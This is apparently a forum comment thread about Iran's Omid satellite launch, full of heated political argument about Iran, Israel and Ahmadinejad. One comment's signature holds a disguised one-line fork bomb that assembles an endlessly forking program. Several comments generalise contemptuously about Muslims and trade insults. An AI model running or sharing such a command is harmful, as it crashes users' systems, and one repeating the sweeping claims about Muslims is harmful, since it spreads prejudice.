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Iran Has Put a Satellite Into Orbit
Dekortage writes "'Dear Iranian nation, your children have placed the first indigenous satellite into orbit,' announced Iran's President Ahmadinejad yesterday. The satellite, named Omid ('hope'), was launched to coincide with the 30th anniversary of the Islamic revolution. Video shown on Iranian television shows a Safir-2 rocket rising into the sky, as a follow-up to a test firing last August."
Well, space is there, and we're going to climb it, and the moon and the planets are there, and new hopes for knowledge and peace are there. And, therefore, as we set sail we ask God's blessing on the most hazardous and dangerous and greatest adventure on which man has ever embarked.
Thank you.
John F. Kennedy - September 12, 1962
Yeah and JFK kept denying the holocaust too. Oh, wait he didn't because he wasn't a crazy antisemitic nutjob. Unlike Ahmacrazyguy.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
"Honestly, I'm not really all that worried about this: a cruise missile is a lot cheaper to develop and deploy than an ICBM, and damn near as deadly"
But a cruise missile doesn't resemble a penis closely enough, and this whole thing is, at it's core, a dick-beating contest.
"As God is my witness, I thought turkeys could fly." A. Carlson
Heyhey, the top poster said Iran was involved in ZERO wars.
How can there be any weapons for non-existent wars ?
Perhaps the propagandic nature is showing : no need to have consistency in your propaganda. This also often shows in Iran's "we have no gays here, I don't know what your talking about" from a person who orders massacres on gays.
Aren't you guys liberal ? How could a liberal possibly be against destroying a government that massacres gays for their sexual tastes, in addition to executing many people for the most idiotic of reasons.
Hardly has anyone ever thought that maybe they just want a decent level of tech
Hardly anyone has, indeed, including the leader of Iran.
Nor has anyone with enough technical knowledge to realize that the story doesn't check out : you don't need a 6000 centrifuge cascade to make fuel, you only need it for bombs.
You know, for an islamic government, Iran's is pretty good. Or rather : ahmadinejad is pretty good. Sure he massacres gays, infidels, and anyone with an even slightly different skin tone or lifestyle from himself, but that's something you just can't avoid in muslims. He does have levels of concern for his own people that are unheard of in many other muslim countries. And he's actually not stupid (not particularly smart either, but he's got an exact sciences phd, he'd probably beat the crap out of obama in any maths exam).
I see you've been brainwashed well. Let me put it straight to you - there are two Koreas. One that is run by US puppets (and is in fact has been occupied by the US) and is basically an American and Japanese electronics sweatshop. And there is the other - a democratic, peoples republic run by the people for the people. Guess which one is what.
US-UK-Israel: The real Axis of Evil
Wow Iran demonstrated they have technology that's 50 years behind ours. "Way to go" to them. *one handed clap*
Oh, wait, I changed my mind, you're completely right! "Must be wiped from the pages of time" has a COMPLETELY different meaning than "must be wiped off the face of the earth". And when he later said:
"they say it is not possible to have a world without the United States and Zionism. But you know that this is a possible goal and slogan"
that CLEARLY meant "we love the US and Israel, and wish to give them big hugs and sloppy kisses".
And when he, later yet, says: "Our suggestion is that the 5 million Palestinian refugees come back to their homes, and then the entire people on those lands hold a referendum and choose their own system of government", this is clearly a call for Israel to continue to exist as a free nation. What could be more natural? Why, even Hitler's overtures were similarly misinterpreted - all he wanted was for the millions of German soldiers to move back to their homes which were under occupation by those treacherous Poleonists, and then hold a free and open referendum to chose their system of government. Unfortunately, the Scum-sucking Yankee Imperialist Pig-Dogs misinterpreted his attempts to bring peace to Europe, and chose instead to launch a preemptive unilateral disproportional attack on the freedom-loving people of Greater Europe!
I don't know how I could have been so confused. Thank you for setting me straight!
Well clearly it's because I'm an Amerikkkan Neo-Con Zionist Bushitlernazi. No, the REAL question here is how did YOU get to be so smart? Was there a special school you went to? Did you have to wear a safety-helmet to keep that valuable brain protected? It must have been a hell of a childhood!
I don't even have cable ... But don't let that stop your panicky "insult him ! quick ! I'm starting to have doubts about weed-induced world peace !" adventures ...
After all what are facts when you have the comfort of parotting what the tv tells you, that the only possible reason for doubting a massacrer's good intentions is racism ...
> Why is the mere existence of Israel a threat to the Islamic world?
The existence of Israel isn't a threat to anyone.
The government of Israel however is certainly a threat to a viable Palestinian state.
> is there any reason to believe that Israel cannot coexist with the "Islamic world" aside from the Islamic world's stated interest in destroying Israel?
Treating "the Islamic world" as a single entity is as wrong as referring to "the Jews" as a single entity. The so-called existential threat posed by the "Islamic world" is as concrete as the "Zionist conquest plans". There is certainly nothing barring Israel's happy co-existence with the Palestinians barring perhaps that country's continual theft of land and expansion of settlements.
Well, as transpired last year, words matter, although, maybe, not always.
"Hope" is funny enough, but if Iranian (or, say, North Korean) next claim to fame is named "Change", I'll become really suspicious...
In Soviet Washington the swamp drains you.